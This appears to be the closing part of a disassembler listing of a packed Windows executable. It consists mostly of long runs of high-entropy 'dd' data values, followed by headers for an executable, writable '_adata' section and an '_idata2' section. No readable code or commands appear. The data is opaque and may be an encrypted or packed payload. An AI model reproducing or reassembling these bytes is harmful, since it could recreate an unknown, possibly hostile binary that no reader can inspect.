		dd 0B5E73E1Bh, 8A09BC05h, 5AF5462h, 0D4AA2417h,	2416A1AFh
		dd 0A50A552Ch, 6F3B67C8h, 206DB47Eh, 0B3524376h, 0C384D411h
		dd 181AC593h, 0CEC70960h, 9864C612h, 235DFADFh,	4B7954B2h
		dd 0F7DE51B5h, 23A0719Ch, 971C95B0h, 0BBB83531h, 0B2886145h
		dd 39576FA8h, 0AB15A46Ah, 5608B6ECh, 3AA6FBFCh,	5F8E6E7Ah
		dd 0F42E7E40h, 89BBE7FBh, 69573E62h, 0F8D8F06Ah, 0AD1F2F7h
		dd 0F93323Ah, 0BB8C8358h, 0E5FDAE97h, 40FAC796h, 0E11C09A2h
		dd 40CCF891h, 0A7D34834h, 53CAB2A3h, 8F8D6A71h,	0B9E5B00Eh
		dd 79E57313h, 0C4318B1h, 9F285709h, 1B6E5CD1h, 2F584EDFh
		dd 0F0C6D7D6h, 36A31E0h, 94DDD655h, 274D0417h, 98AF1515h
		dd 94872427h, 658FE775h, 5DEA6ABDh, 6B7FA86Ch, 811CD04Dh
		dd 2DBAD53Ah, 35089B60h, 3A221B8Fh, 0E82D01C2h,	109680DAh
		dd 402CA14Ah, 98E79D3Fh, 0E45A1B12h, 1B9B15E0h,	1C5DB92Fh
		dd 0B3F77F3Bh, 0E68072A3h, 31B4AEFBh, 2F105B9h,	6BCC08A6h
		dd 54D6E6D5h, 9E2EC652h, 16A5F814h, 0EF42343Fh,	8829A906h
		dd 349331CBh, 1F1E2E10h, 680D2857h, 0E25361CBh,	3516ED47h
		dd 7437D84h, 0EF398467h, 0A90426EFh, 2D026FA5h,	38C882E6h
		dd 0D1D43523h, 3F9AE8C1h, 7E08554Fh, 0B427D01Dh, 9FCF8C58h
		dd 0AB1BD70Dh, 38B5E077h, 6B3106E3h, 0FDA71366h, 0AB999364h
		dd 437E04B0h, 0B869D69Eh, 0E095ABF0h, 5CD52D9Eh, 9237FB9Bh
		dd 94E1894Ah, 0C24E0329h, 0E6FCA3E8h, 1965017Ah, 7E21FD61h
		dd 0D65886C8h, 0E36B08BDh, 0E7F4FC1Bh, 481C144Bh, 89B3CEC6h
		dd 0A3687772h, 960B2261h, 23F8D2B6h, 50AC3B07h,	9F080B0Ch
		dd 0C500F5D8h, 2B8EC5C4h, 0D93A0B6Bh, 2595B2FFh, 9BDAE60Ch
		dd 0C2514075h, 2725CE22h, 6CD74FABh, 1E3151Bh, 0CEA93C8h
		dd 8CCCF77Dh, 0B2E638B5h, 0E395768h, 511B7326h,	2AD55D62h
		dd 0E8ABB666h, 96896F76h, 24A49D73h, 0ECD7680Ah, 273A11C7h
		dd 0D70C076Ch, 0FCDDCB98h, 1DF62535h, 0EAA9D4F0h, 0E7BAAEBEh
		dd 8E899CD6h, 0A5E7C867h, 7F8FCEE1h, 96559A0Dh,	49672FEEh
		dd 524314A2h, 0AFFAEE84h, 0C1C45D0Eh, 7955277Ah, 0D8E1FE04h
		dd 0E1D18BCFh, 0D193CEB5h, 3E08E251h, 578CA0A9h, 0AD38E387h
		dd 0C930CF3Ah, 0FC8CCB4Ah, 0F71B7Ch, 5E49F722h,	8DF5740Dh
		dd 0FF739BECh, 97B5C05Ch, 0C7FA885Bh, 129C2B0Bh, 6AB58FFCh
		dd 66F9824Fh, 414ABC8Eh, 0FBA48EA7h, 0D6120015h, 0D4034443h
		dd 0CD7FB0DDh, 3845116Fh, 22CDAC88h, 0A9A1C5B5h, 76AEC5C9h
		dd 0B8A86082h, 253BFD92h, 0C0FFEFABh, 4C5272D4h, 0F506E77Ch
		dd 0A302B0E3h, 2AA461C9h, 642112FFh, 33B481F0h,	7C4CB721h
		dd 0D0ED2B26h, 0F62BF089h, 17466D8Eh, 928E977Fh, 0E862C364h
		dd 5D60FFA9h, 0C51E1C69h, 6250C25Ah, 0B9CF3E5Fh, 0A12AF895h
		dd 4590B854h, 0BC5FFB86h, 8B5411DCh, 0BB95822Ah, 71E9A426h
		dd 0FBF9723Dh, 2118BBD8h, 5C8024D1h, 8847AC5Eh,	0CA088516h
		dd 7A6945DBh, 0D608A37Ah, 7FD7B6BEh, 0F06B93D0h, 0A094EE9Eh
		dd 0A2A6260Eh, 0F1275D1Fh, 57F93E44h, 5548483h,	60983082h
		dd 0BDC2EB9Bh, 0CBC193D3h, 0C3CF59A2h, 91AFB5ECh, 0DA2B065Dh
		dd 0DD88F470h, 0DCF93610h, 0AE7491A4h, 0EB895690h, 2802A9AFh
		dd 31F09259h, 0D653D684h, 0C521B2D5h, 0B143A5A7h, 843A058Ah
		dd 0C91D1549h, 6B159AB8h, 0C3D33A9h, 347DF417h,	8A99BAF2h
		dd 72CA6FBCh, 0FB4389C9h, 960492DFh, 0DE3E8C7h,	10AD9182h
		dd 0F7C02FAEh, 5C96FE81h
		dd 0DFD87D7h, 0E615BFE5h, 0D345F1B7h, 96DCE616h, 67EE09DFh
		dd 60C0288Ch, 4B4169C7h, 429ACC5Bh, 2E80B6EBh, 0B1758DB5h
		dd 54341AECh, 863EE73h,	53122216h, 0D299616Ah, 3D7D2524h
		dd 95F8E1AFh, 52546774h, 0D5365E9Fh, 31B0195h, 1325254Ch
		dd 0E0C842B5h, 0D1B74340h, 0DF1A5BB8h, 23C79294h, 3994DBD1h
		dd 952D8841h, 5828203h,	862AA402h, 0A2804F56h, 0E132B577h
		dd 634F3060h, 0BE4C3A39h, 0DDD79675h, 0A27AA26h, 36C5A56Fh
		dd 0A81AA96h, 0E6B43224h, 20F7345Bh, 55ACBDCCh,	76B7286Fh
		dd 0F025E2Fh, 674B5C9Ah, 0CDC7F1CBh, 0DFF4612Eh, 700CE174h
		dd 23D8A9D9h, 5825A78h,	75A6E9B4h, 0DCBB8DFEh, 1940479Ch
		dd 0F8CC33F6h, 9BD550D1h, 0FBEDC42Fh, 50A43292h, 90B85764h
		dd 3E4DBF2Ah, 2C2E420Ah, 8342C601h, 0F7E52D76h,	9E3A8DEBh
		dd 0A0FB7DDBh, 9E1916E9h, 0C4492A8h, 802EF465h,	82899E1Fh
		dd 83C550CCh, 0D0A81E7Bh, 566580CEh, 52DC5364h,	2DCEC6Ah
		dd 0F6E19115h, 0E30575C0h, 3AE9A955h, 0DD8F6F7Fh, 0EBB6F774h
		dd 1B634493h, 18E3C2EDh, 878B6A36h, 8E76F43Dh, 6B6917E7h
		dd 35DFA5Dh, 3C89E2C3h,	0DF9B3186h, 0BA336FE0h,	0B40A5CBFh
		dd 8149CD88h, 6D460DCAh, 1DE8AD1Bh, 2917699Eh, 63C137B1h
		dd 1FED3563h, 0F925BAE1h, 0F716FC19h, 77E20028h, 8CCF99B2h
		dd 16F39C61h, 0CD0EDBB8h, 30CB8940h, 0BC0D1E0Dh, 8221D864h
		dd 50F33355h, 32F1B139h, 15B976EFh, 7088D4ECh, 0C6077C09h
		dd 0C085C7C5h, 0F5BB5647h, 9901ACD3h, 687104CEh, 4EC8781Bh
		dd 0AAA1176Bh, 38DF4C02h, 8401F270h, 964AFB60h,	42B0E082h
		dd 0E88D30F0h, 51DCC9E3h, 31DC027Ah, 1893FEADh,	0A51448A9h
		dd 2CF21AB7h, 0A2B8C508h, 969C8434h, 72D44031h,	179E52B3h
		dd 601BB3ACh, 0D0623F1Ah, 0D07809BFh, 9BF5F028h, 88407693h
		dd 0B6B0F565h, 30E65B51h, 0F8E169ACh, 0FE147444h, 436CD45Dh
		dd 0E3B73CE6h, 20A3FB35h, 0D6E7281Ah, 50F8FDBCh, 0A91EEDB4h
		dd 8485E894h, 2A1D841Fh, 0BE7EDD23h, 38E6D577h,	56C0A9E3h
		dd 0AAB4D87Ch, 336289D3h, 0E51EE7A7h, 7B6AF54Dh, 0FB0E2FB2h
		dd 0A22A898Fh, 40E3B31Eh, 0F1AD8207h, 3E73FD48h, 1D1A8FD5h
		dd 3B9CE1A2h, 3C9F4FEh,	46670949h, 4C7F4Eh, 386F07F4h
		dd 0D430277Fh, 0CCFEAD40h, 82072C4h, 814BA89Fh,	2ECB6DEFh
		dd 0D4AB2624h, 57A04036h, 1BC3B2CCh, 0E5E31554h, 811DA165h
		dd 34BE7AE4h, 16458DE3h, 3ED789C2h, 58EDA723h, 5AC553F4h
		dd 9C6846F6h, 0DB5A4D58h, 0D1FF2022h, 0ACADF823h, 0BF608F41h
		dd 28378518h, 0AFE312D8h, 661B3B31h, 0E31B4ADCh, 4F2326B0h
		dd 38AAF819h, 0BA259B29h, 0D0D6B2A7h, 9242EBD8h, 3F35E17Fh
		dd 9F64875h, 0AD42D21Ah, 696AE5C5h, 4ABDCFDAh, 20DE9B2h
		dd 0BD2F0C35h, 5D2F5B5h, 291E94FAh, 506365CBh, 14D02925h
		dd 53791831h, 0CCDA2040h, 6A9B25DAh, 4C002750h,	7FF4FAEFh
		dd 6B01B116h, 0A7328707h, 6B0E025Ah, 42396872h,	938AA050h
		dd 0BE554B64h, 5322B76Eh, 0C002184Fh, 0B7D89C91h, 41ECC66Bh
		dd 20467891h, 0FEE40C20h, 0DB3AD843h, 0A19274A0h, 3F10316Dh
		dd 0D9D57493h, 0EBBC6336h, 0D5C45E89h, 0CA5F71ABh, 8232C9Bh
		dd 0BD139C41h, 724858Bh, 79A988A2h, 5025A011h, 0CB458C95h
		dd 9DBEF654h, 3CEA2141h, 0E5DBD5D3h, 17F8AF3Ah,	0D4F16CB5h
		dd 0CA70E89h, 12922F1Eh, 0A6485F08h, 0BADACA07h, 0A8DAEE73h
		dd 0C6D18183h, 83D3DC8Ch, 6D277635h, 9CB07FF3h,	60EBA7DCh
		dd 8BE4E34Dh, 9298B2Bh,	0E1BD59CCh, 8771F469h, 0BC480AF6h
		dd 4E044436h, 9F2E21CBh, 0F6201C47h, 4CCB7B4Fh,	4EB87DE4h
		dd 2C9E9404h, 0E164834Bh, 0BCF6F2ECh, 45317CA1h, 6A271953h
		dd 89ED77BCh, 3DF91F10h, 0D74A5655h, 66479FD6h,	0DE3561F8h
		dd 57DC975h, 20FC8D73h,	18682C8Ah, 0BCAA7230h, 539E54AFh
		dd 7055AF40h, 0CD3A9783h, 40DA8375h, 2858496Dh,	0FCD79637h
		dd 38DD1AF6h, 622BAB0Bh, 71B9B19Dh, 0F2251ED5h,	234309F9h
		dd 0F48F1ADAh, 6C68034Eh, 1C69C0ADh, 1551361Fh,	0A411C464h
		dd 0DCA6876h, 0BC5E5D5h, 4B827BB5h, 0CF62C5BBh,	0F954658h
		dd 30B16845h, 0CB88809Dh, 0E13290A5h, 994400ADh, 4608689Ah
		dd 31193FCEh, 0C17BE3B9h, 7A602B82h, 133F4CD1h,	16ED3DA2h
		dd 7A65F0F0h, 63C4BF07h, 60ADC956h, 59DBC4CCh, 42366EB5h
		dd 740D9A2Dh, 0D16287C0h, 71C65777h, 67194F88h,	0F2022AEBh
		dd 0D0A43F55h, 56B3993Ch, 31B2513Ch, 47AE3B0Bh,	0B7181175h
		dd 3308F163h, 28EAB77Ah, 93F4DFBFh, 0BB9D1B6Ch,	8D258C12h
		dd 0C2CE4F1Eh, 0DB4EEEAEh, 25BE2951h, 86E20152h, 92149901h
		dd 80B03FFh, 6BD24DBh, 72B65D60h, 0B144A8F9h, 87685AEBh
		dd 0D4ABAE75h, 7E57C1C6h, 75227AF7h, 0A45D2EB5h, 9DE02362h
		dd 8001D81Eh, 7051787Eh, 6AAB2E8Eh, 0AD983097h,	0FDAC56EDh
		dd 9E78413Dh, 253B63E3h, 0A28F70Dh, 808C3BAAh, 0C63E17EFh
		dd 0AEAE0F01h, 0A738EAA1h, 7AE129EEh, 478F50CBh, 0FD44665Bh
		dd 91C213ECh, 0B417F43h, 182C1112h, 0ED3FBF81h,	9E576F6Bh
		dd 1B5FD56Dh, 0D82B4ACFh, 56CB3BA2h, 0B612F109h, 548B16E4h
		dd 0B43C220Ch, 0E6CD8FD6h, 1002755Fh, 634032CFh, 4FB3BB80h
		dd 3A9F652Ah, 914BBCA2h, 812981A1h, 7F774DB3h, 33436731h
		dd 5CA3DD63h, 558BDBF6h, 252DD85Fh, 0FC69E3CBh,	0D78BA987h
		dd 23DE3247h, 65020EC6h, 0A67D8808h, 4CF81C04h,	982CA8B7h
		dd 0C624E050h, 0C8BBD5ACh, 0C45B4BF7h, 0CF46CB5Ch, 0C72178ECh
		dd 3636F92Ah, 0D974ADD8h, 32163141h, 35C1EDA6h,	5FDC5386h
		dd 0CA3E0A9h, 393A7B16h, 0B87BFD12h, 6D3F45CDh,	0C4733329h
		dd 0B905F25Dh, 714E5D88h, 50AB5553h, 1F90992Ah,	79CEDC4Fh
		dd 131997B5h, 2A4CE88Ah, 328E33Eh, 16CE7031h, 3FB7C4E3h
		dd 7B9C4A2h, 2DB2E71Ch,	0E774166Dh, 1F9F58AEh, 0CD7A5CBAh
		dd 0EF1BF38Fh, 325F989Bh, 0D2C293FBh, 6127EA5Fh, 57DD08A4h
		dd 49AA49E2h, 434C3608h, 2BA1B89Fh, 4C1C8DF4h, 0EFDB19B5h
		dd 6388D462h, 583A60F1h, 66D5882Ah, 462587E1h, 0AF59113Ah
		dd 0A8677139h, 6F7B542Ah, 35A539Ch, 0F591308Dh,	51A781C3h
		dd 27A187B9h, 80F24DA7h, 4AD7E3CCh, 910F153Bh, 9E646E4Eh
		dd 468A9A6h, 0E6A06CECh, 82761E95h, 29B460B6h, 8A88E2A2h
		dd 499BA7B6h, 28745D6h,	55588F1Fh, 4A3E0279h, 0A3FF705Bh
		dd 905B1A5Fh, 9EF1B9F6h, 9BF9489Eh, 0AFC0A617h,	0E903AA5Bh
		dd 4118BAAFh, 692FBA5Dh, 0FF04765Fh, 5192D6Fh, 3076652Ch
		dd 0BAA6FC71h, 0B3485B85h, 0C751953Fh, 2CF78CCEh, 0B71B2397h
		dd 8DF7BD08h, 0FF8BA36Fh, 1AD34616h, 0B828D2E2h, 0D06E7638h
		dd 6942444h, 5F5F1B79h,	6849B5E4h, 0FE5297C5h, 0EB63921Dh
		dd 1C357DF9h, 193DC3E6h, 1493C9D7h, 0F82499E6h,	1C27AF63h
		dd 3DC623D5h, 0D6A17B76h, 56EF2934h, 6A26624Bh,	0E46B2512h
		dd 11D6F177h, 5374DA1Dh, 48F5E256h, 0C61FD0CBh,	6D10D37Eh
		dd 0D47AFCF6h, 0E7D610FFh, 0DA1670DFh, 0B3ED4528h, 0DC21159Eh
		dd 0D3150602h, 79714059h, 0EE98AD41h, 2F5C4E8h,	0DEC7FDFh
		dd 2C0FBC6Ch, 0D93C7B67h, 74882A25h, 0C5D58BFEh, 851C4985h
		dd 0EAA481A2h, 4312AB0Ah, 0DBF99FE6h, 5DFB6C36h, 57958758h
		dd 0F12E3E0h, 9E2D33B6h, 0A68A7FD9h, 2A390662h,	50A06259h
		dd 0E818F75Eh, 5E55940Ah
		dd 0D75E6649h, 0DC728698h, 0F929D40h, 14ADC1C7h, 0E1C3F176h
		dd 9FB70E23h, 0A2DECE19h, 0CD504102h, 47F664A6h, 37BA502Fh
		dd 90E4FA08h, 42CB1D40h, 63EEB372h, 84E0D504h, 0E1C64E40h
		dd 81483E54h, 9542DBAEh, 3DB28BA9h, 0FCA5E003h,	5843EC9Bh
		dd 6937AED0h, 1BDE1E31h, 4963EED4h, 90D6C0E3h, 0F48A2695h
		dd 5433AE4Fh, 0E427C9A6h, 172B15D3h, 8927665Ch,	0B7321B57h
		dd 6413EA77h, 37BFFD1Dh, 0E452A56Bh, 1D24AF0Ah,	9329A6A5h
		dd 0E26396D9h, 59BBE249h, 0E840E8F9h, 0AC36F5AFh, 0E7149B63h
		dd 8A00168Dh, 13A4C915h, 3ACE2A0Eh, 1AB5688h, 82749F64h
		dd 25931C22h, 385E06BDh, 19DE98F3h, 2D3EE3B6h, 0E48D9879h
		dd 31DE30Dh, 0BC2332DBh, 4C0EE41Fh, 0B71F5C78h,	0B3A9AB9Ch
		dd 20F192EBh, 306C7EF5h, 1146F664h, 11DC108Eh, 73A6E6A1h
		dd 0F129210Bh, 0CA561553h, 934B29C6h, 1B588079h, 0DC4FA3F1h
		dd 53640949h, 68FDFD2Dh, 0BE0FEBB8h, 29593F4Bh,	0D31003D4h
		dd 0C280360h, 90516E60h, 7DD44386h, 1DD05800h, 8F82A292h
		dd 0B45FBDDDh, 4C54A3CAh, 8A832B15h, 0B3579C77h, 1ACC6A30h
		dd 5A98DFAAh, 15ED1AB2h, 154FD473h, 26BE9396h, 3CD47C8Dh
		dd 0D93D65A1h, 9B53D8F9h, 0DA5F2DDFh, 0B50CC5C7h, 0BA745AE1h
		dd 0D9312D7Fh, 0D557AD06h, 4A5BB945h, 0FFF9AED9h, 88647F04h
		dd 73B22E4Dh, 50054ABAh, 97C96832h, 1F01A419h, 7199306Fh
		dd 0C250A1ECh, 8943BB5Bh, 1DB45C4Bh, 0CEC1A917h, 0A19036C9h
		dd 0DA362539h, 68B44811h, 0C329A42Ch, 499A292Dh, 0E327DDF2h
		dd 356BAD5Ch, 5720CF7h,	0F66A987Fh, 63CF46DBh, 60EB1F2h
		dd 0F48AFE2Ah, 158F0AECh, 0CD62742Bh, 0C8BF60EFh, 9B6DE8A5h
		dd 5BDBB322h, 214DE3BBh, 0C7A28A26h, 2D60A020h,	0DE2CE61Eh
		dd 427C674Ah, 0F7535E3Bh, 0C41FE8C6h, 0E6CF60FEh, 59D6A5B7h
		dd 1493EE19h, 0D7A2BF5Eh, 698D1E06h, 72208049h,	2B2FA88Ch
		dd 8EDCF46h, 0E7DE8232h, 2458E9C8h, 2F501336h, 0F1C40C3h
		dd 6E95B81Ch, 532C17F7h, 0E1A00B71h, 7BF6AB7Fh,	0C812B240h
		dd 29DECC5Fh, 41BF11BBh, 0D0484DEAh, 58600A29h,	848EA9B8h
		dd 0A004EC64h, 2D0C8AEh, 0E3357FD2h, 139773F3h,	0D3181507h
		dd 9B29456Dh, 89FD8ECAh, 0BC534770h, 4B62E40Ch,	4824DD43h
		dd 0FF2D09C3h, 0BEC7F2BBh, 19FEB9F3h, 2083FFD9h, 993F264Ah
		dd 783C51CBh, 1B0F57Ch,	254EA1DCh, 655025EDh, 0DA0D8E36h
		dd 0BB23C819h, 62CDF563h, 8E0B6F3h, 249D38E3h, 0D281AE52h
		dd 59BDA2F1h, 7C6C58A7h, 21BC8DD0h, 1B7DF489h, 0AB3DC12Ch
		dd 70A8EF18h, 557E5925h, 0C4364452h, 91CB196Ch,	21D76E8Dh
		dd 0FECF0CFAh, 5D2819FDh, 810064A3h, 0D03DB107h, 0E27A9303h
		dd 1848EDFDh, 0FA460332h, 0DF4EBE5Ch, 55856E11h, 2DA0BB09h
		dd 0E3B0791Ch, 4AB73116h, 0A18B984Eh, 0A903211Ah, 3ABBC22h
		dd 92B2CC35h, 8C91D6E7h, 29080044h, 9C109881h, 83097358h
		dd 48111E8Dh, 3975694Fh, 3D45A3EDh, 17D8FB4Dh, 0DE311CFBh
		dd 0D71A41FDh, 63564E0Eh, 92CB2052h, 802BDB90h,	758B72B0h
		dd 548ABD16h, 4C271BF7h, 0AAFF11AEh, 47B2D9C5h,	0E20BF324h
		dd 0E0331616h, 4B11C10h, 296D7F2Bh, 94DB1164h, 240A750Eh
		dd 0E71CFADFh, 85ED6761h, 0F2F300F6h, 933CC256h, 0BC32A101h
		dd 47D72AB9h, 3EB02423h, 5AFF773Fh, 0C92388BAh,	88E6A106h
		dd 0D8F66890h, 2634C3A5h, 0EC16A7B7h, 0B145B2DAh, 97EC543h
		dd 0C4CFE40Fh, 0A37D3030h, 0B99602Ch, 0C88083F8h, 8F9BFECFh
		dd 0B8A38ED4h, 1C6F3A5Ch, 9A7D73CBh, 0C6A26951h, 0FDB32297h
		dd 0B0A168B2h, 0D683A40h, 62DD3243h, 0CA9AAAD4h, 8A7114DCh
		dd 0B89A5702h, 830EDE52h, 98A27EB7h, 29773A6Fh,	5C625C56h
		dd 6300EE03h, 6D94A20Fh, 0E325A309h, 4681B52Bh,	0EAF105FFh
		dd 6D70410Fh, 0AFF16B56h, 0ECDF34A9h, 61BA492Ah, 0EC484085h
		dd 0F6FD5C08h, 0EC50F23Eh, 8C6AC809h, 535E115Bh, 775EEDEAh
		dd 3B0C3794h, 4BC20B7Ch, 37272397h, 7600D02Dh, 3A390C83h
		dd 1839186Dh, 0D4BC6C94h, 0DBF24F99h, 0E863DBACh, 985920EFh
		dd 8960F635h, 0E4E663D8h, 9EC3EF45h, 0F211F24h,	7B770D28h
		dd 0D934B71h, 79B2DDE7h, 8EB67456h, 0F0B1051Ah,	6557DFCh
		dd 88A3C99Eh, 2493BD2h,	1FC48D82h, 13F2F5Ch, 0BDEE9E5Ah
		dd 6C4B1C16h, 0E1B2A85h, 5441DCBAh, 0E0EB1B48h,	2BB3CEF2h
		dd 61AA2907h, 58A39F9h,	29E67273h, 5A09DBAAh, 9162D589h
		dd 10539D11h, 13DFF558h, 93C106A4h, 0C3615202h,	0F220C304h
		dd 0DBE5ED68h, 0BBF2E3E0h, 33053E0Bh, 69A064BAh, 267599C1h
		dd 0B2038532h, 1A36FF80h, 58A37F98h, 0A83217F4h, 43A5D465h
		dd 0D7AE01C2h, 277275F0h, 9A6E62CBh, 0EEE3D542h, 3F0383B2h
		dd 0BCEBB142h, 1CB14465h, 0D09FEDABh, 0D54A42DDh, 0E59531D6h
		dd 0ECFE6FE6h, 0BE6B1C7Ch, 1AB319E3h, 0D50C6C01h, 0A14D2E61h
		dd 868E8F74h, 0E8B2B89Ch, 0E8AF7A7Eh, 78F0D158h, 7BD5AE82h
		dd 9F123182h, 466F4C5Eh, 0FD94978h, 30FD8840h, 3B3E7231h
		dd 0E43F46BCh, 0B9521356h, 2121E84Fh, 2ECA3C3Dh, 0AABF5F50h
		dd 24D5704Dh, 3D9C940Bh, 0D4C5F6D7h, 0F6CA1192h, 44D9E15Dh
		dd 4ABDBF1Dh, 0C802B7D5h, 47ABC824h, 332C9987h,	2A20709Ch
		dd 0CD039A4Ch, 34D337B6h, 8BA47F83h, 8CDF3E53h,	0CFAD7956h
		dd 0BFC53D84h, 0AF71DD5Dh, 0B7A70048h, 66E2153h, 49FE85C4h
		dd 0ECD9E8DFh, 0E90C3C3Fh, 0CF2B56FFh, 0B4C95A9h, 2321F1ABh
		dd 0C9988132h, 0B16F23E1h, 0F3F19163h, 48F948BAh, 233BADFDh
		dd 4355CB02h, 0B4797AAAh, 0C14A9596h, 6232202Bh, 92910D49h
		dd 89C3C2B2h, 137C8FA3h, 0D939C222h, 0A104E0C7h, 0DE37A5B7h
		dd 6A91E2E5h, 3C84E55Dh, 0D313FE8h, 33B446B3h, 989D6766h
		dd 5F1E85h, 0E865439Dh,	5A754885h, 0BCAF11ECh, 75FC05FAh
		dd 3C1EBD81h, 0AC1D6140h, 0BAA632BAh, 74F8E741h, 6DC2932Eh
		dd 677DE88Ch, 893A9556h, 0A13A37D5h, 8C0E633Dh,	6BAEC3CAh
		dd 2B2E1C17h, 1816D14Eh, 6210E7DDh, 0A9503868h,	45EA0083h
		dd 0F8021D2h, 52B4D4E1h, 0A1671935h, 0D9F91963h, 0A12FC889h
		dd 6E7ADDF4h, 0E042252Bh, 0F936EA99h, 2DE112ABh, 70BD66DEh
		dd 0A0B2BBE3h, 2F437AF4h, 92FD7A90h, 93136BE0h,	6D3907B9h
		dd 363B8EABh, 52D184F6h, 248F9AE7h, 0EFFBB620h,	0A8C55B20h
		dd 526A412Eh, 2B89D1A3h, 41133D51h, 0D87EBBECh,	0CF043881h
		dd 1A14597Fh, 0F919555Ah, 1ED0C09Ch, 35EC01A1h,	0D77F7C8Fh
		dd 527230FBh, 0D609DEBAh, 0DFCAE7Bh, 0B8219BB5h, 0E3513D0Bh
		dd 24D8D19Fh, 99A28843h, 758134C4h, 0DEABD369h,	0BA0BA8FBh
		dd 8BE2B6C7h, 8ADB126Ch, 3DBA1DE2h, 4000003Ch, 0E11202DFh
		dd 0A3DEB2B1h, 5CD9274Fh, 1DF3C666h, 0CF37D0C3h, 712B8D73h
		dd 1C9D2EC4h, 5E0E2E72h, 0A155624Ah, 8E460210h,	0BC624D79h
		dd 1AE6AB78h, 0D1BB613Ah, 0A113318Ch, 0E9CD8D93h, 0E7E02EF1h
		dd 0DA5331E3h, 0D9E12E4h, 67827DBh, 505B70E8h, 0A34FDB54h
		dd 5FC75F3Ch, 9A9A74EDh, 4062E725h, 0F1DB0583h,	0BEF4860Bh
		dd 0C7BDDC6Ah, 7561B75Eh, 0DBCBD785h, 5CC09A54h, 0B06FCA23h
		dd 0EFCE9E6Ch, 324EF7B6h, 0E3A944CFh, 0F2E9984Fh, 63DEE875h
		dd 0F69A71F0h, 0EAC6AD1Eh, 0FCD7EB5h, 0A4345D1Eh, 0C7A1A7BAh
		dd 627076F5h, 0DEC788E4h, 1B8C30BBh, 53BC4873h,	4F8A255h
		dd 0FE4A805Ch, 2F75F082h
		dd 0C35F3684h, 0C3528BB2h, 4536E0BDh, 0BDF87CB4h, 34C58097h
		dd 42C9CB2Bh, 2B8EC501h, 834CEAD6h, 1BA64ABBh, 37AB35B1h
		dd 4427D89Dh, 928481D7h, 0C0DEC1A0h, 0E5FEBD42h, 0A55646C2h
		dd 0BB42A04Bh, 0A8270DBBh, 8C2C6C0Fh, 5EA1A97Dh, 464B690h
		dd 5C13883h, 0D2B34FB2h, 0E07200F2h, 12B62C06h,	27282C94h
		dd 3AD8685Eh, 79C19489h, 0A0A2573Ch, 0EEBF94E9h, 8F559E09h
		dd 0B6C8F21Ah, 0E9DD6920h, 3A83D908h, 5A09A9A4h, 0DFB4D923h
		dd 1C1C622Fh, 53BB0A31h, 4AA70B46h, 615226F2h, 0C5BDFBA6h
		dd 65A6CB8Fh, 0AA6AF25Ch, 3FBEC2DCh, 4B819CB0h,	0E72E506Bh
		dd 0CFBF39DCh, 831A9F69h, 50334899h, 12933D56h,	8BFB4974h
		dd 0AB369981h, 2B5A8CFBh, 4822A35Eh, 960912B6h,	1F436FA2h
		dd 55EC76EFh, 8EDFEB3Ch, 413F74Eh, 9985AD0Dh, 0D8FD7E3Fh
		dd 0F439C483h, 0B340C12Eh, 9D01A3F3h, 0C46D7691h, 0BB518D3h
		dd 0BD588CBFh, 0E32B51AFh, 989A809Dh, 4EA5F607h, 0E479B814h
		dd 0CA9C53E8h, 0B40EF85Bh, 9CD28964h, 7C6DA13h,	0C8BBDACDh
		dd 0CE31672Fh, 9E3002CCh, 8919ACACh, 0D772963Fh, 5DF7721Fh
		dd 3D8889EBh, 0CFAFF807h, 0E9DCA601h, 896C9FDh,	10333269h
		dd 0A4DB93AFh, 57F48AE9h, 1B2C1DA0h, 0CABDE518h, 0AEB641CCh
		dd 4E491315h, 0F275040Ah, 0B0A05726h, 0DDCEAB49h, 42A75010h
		dd 6F7DF59Bh, 4EBEF4Ch,	0DDD4520Ah, 5FCF820Bh, 614A3446h
		dd 74FAC400h, 8253751Ah, 0F5230C0Bh, 0FD92BEBAh, 90207FA1h
		dd 3A560DDAh, 0EB535D17h, 4A673F98h, 345A54AAh,	7F22B435h
		dd 3115E769h, 8FE7FD9Fh, 0F8FCEDE1h, 46DB9ACBh,	27CB0EA1h
		dd 0C8F0CBDDh, 0A86A6089h, 6B437224h, 183D10EFh, 12CBFADFh
		dd 0A9B8188Eh, 275963DEh, 0A4420248h, 1CDF46E3h, 716BC8B7h
		dd 7C16F9E1h, 3372B692h, 9561C405h, 0F41C60D9h,	0A617178Ah
		dd 61D6AEDAh, 0A403DC6Eh, 1330F202h, 8E4DDDDEh,	6F9B0E7Dh
		dd 4FA12D8Ah, 0F85ACABh, 33B0A7B9h, 0B9BC895Dh,	0EBFA8334h
		dd 0F423C4E9h, 21EEF0FEh, 1DB6520Fh, 9656C7E2h,	11E6689Fh
		dd 0DD184BC8h, 70390D0Ah, 9B3CF0DFh, 603DACA5h,	58544B9Ah
		dd 0EED3BED8h, 0E820EF72h, 0F9C57F05h, 5C907C8Bh, 0ABA7B94Bh
		dd 8112A212h, 850F981Fh, 0FB2D4B7Dh, 0FD1893A3h, 0E771C293h
		dd 0A93D65E0h, 8B2F946h, 0F57812C4h, 9198D65Ch,	78BDFDF2h
		dd 787B8FE7h, 0C7BC1867h, 56912091h, 0E4F810E8h, 0DE6AC6B5h
		dd 3D2C9B48h, 0E1C19046h, 2F00D272h, 0DB95FD8Dh, 2A0E9354h
		dd 1F9BAFAEh, 563CF789h, 83F82805h, 0D35BE3DEh,	0AC51974Bh
		dd 852195A3h, 0D926BD97h, 6A6D52CCh, 4D80D91Fh,	89DC1CE2h
		dd 3BF1A9D7h, 70AF77C6h, 52E277DAh, 300h dup(0)
_data		ends

; Section 5. (virtual address 0007C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0007C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 47C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 6. (virtual address 0007D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0007D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 47D000h
		align 2000h
_idata2		ends


		end start